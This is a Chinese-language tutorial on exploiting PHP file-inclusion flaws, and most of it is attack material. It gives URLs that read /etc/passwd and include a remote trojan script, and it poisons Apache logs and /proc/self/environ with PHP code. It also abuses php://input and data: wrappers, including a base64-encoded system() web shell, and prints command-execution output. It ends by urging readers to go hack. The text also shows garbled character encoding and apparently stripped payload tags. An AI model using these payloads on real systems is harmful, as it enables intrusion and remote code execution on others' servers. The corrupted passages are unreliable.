================ php包含漏洞替代技術(shù) ================ php開發(fā)者們犯得一個基本的錯誤是把一個不正當?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。 這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經(jīng)開始試圖通過缺省設(shè)置來消除或限制這種漏洞的所帶來影響。 但即使是簡單的本地文件包含,也會有新的技術(shù)去利用這些漏洞來導致遠程命令的執(zhí)行。 ================ 介紹php包含漏洞 ================ 文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。 include($_GET['content']); ?> http://target/index.php?content=/etc/pa sswd http://target/index.php?content=http://trojan/exec.php 這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數(shù)情況下不能使用,因為php設(shè)置中的allow_url_fopen默認是off。 當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。 include("pages/".$_GET['content'].".php"); ?> http://target/index.php?content=../../../etc/pa sswd%00 .../的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。 如果php設(shè)置中open_basedir為on,它將會阻止你繞過過多的目錄。 網(wǎng)站的開發(fā)者有可能也會使用一些函數(shù)來過濾掉來自用戶提交的惡意數(shù)據(jù),但并非總是如此。 空字節(jié)字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。 在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來應付空字節(jié)字符。 php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國外的Email程序),例子為 http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd ================== 本地文件包含致遠程代碼執(zhí)行 ================== 一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術(shù)在過去的幾年中出現(xiàn)。 有一種在服務(wù)日志中去注入php代碼的技術(shù)比上面這些包含漏洞要出現(xiàn)的晚。 它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。 考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發(fā)送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉(zhuǎn)義。 $a = fsockopen("localhost",80); fwrite($a,"GET / HTTP/1.1\r\n". "Host: localhost\r\n". "Connection: Close\r\n\r\n"); fclose($a); ?> https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id 另一種方法是包括了Apache/PHP進程的環(huán)境變量的/proc/ self/environ文件。 如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現(xiàn)在那個文件里,所以遠程執(zhí)行代碼是可能的。 /proc/ self/environ必須是可讀的 $a = fsockopen("localhost",80); fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n". "User-Agent: \r\n". "Host: localhost\r\n". "Connection: Close\r\n\r\n"); fclose($a); ?> ================= Php封裝包含漏洞 ==================== 利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數(shù)據(jù)并執(zhí)行它: 漏洞代碼: include($_GET['content']); ?> 我們的請求: $request = ""; $req = "POST /index.php?content=php://input HTTP/1.1\r\n". "Host: localhost\r\n". "Content-type: text/html\r\n". "Content-length: ".strlen($request)."\r\n". "Connection: Close\r\n\r\n". "$request \r\n\r\n"; $a = fsockopen("10.0.2.2",80); fwrite($a,$req); echo $req; while (!feof($a)){echo fgets($a, 128);} fclose($a); ?> 得到的結(jié)果:uid=33(www-data) gid=33(www-data) groups=33(www-data) 這個例子的前提是allow_url_include和allow_fopen_include兩個選項設(shè)置為ON,在這種情況下,標準的遠程文件包含是可能的。 這個方法的優(yōu)點是它不依賴于外部儲存文件服務(wù)器。 cr0w-at.blogspot.com提到另一種技術(shù)使用"數(shù)據(jù):"封裝: index.php?content=data:,?&c=dir 或者base64編碼過的: index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir ============ 總結(jié) ============ 這些方法大多都不是新的,并沒有表現(xiàn)出缺陷或在PHP語言本身的局限性。這些問題通?梢酝ㄟ^強大的輸入驗證,常識編碼,和一些預防更嚴格的服務(wù)器配置。 然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。 *本文中闡述的漏洞不會存在于Silic Group的網(wǎng)站 *如果你足夠細心,你會發(fā)現(xiàn)文中很多關(guān)鍵字,例如敏感路徑、敏感函數(shù),都被加了個空格 *是因為服務(wù)器的防火墻會攔截此類關(guān)鍵字,檢測到關(guān)鍵字時服務(wù)器就會顯示501/503錯誤 *這就是BlackBap.Org所在服務(wù)器攔截的原因 *本站管理員注:-) 作者:Anonymous |
免責聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學習與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨!
掃一掃,關(guān)注站長網(wǎng)微信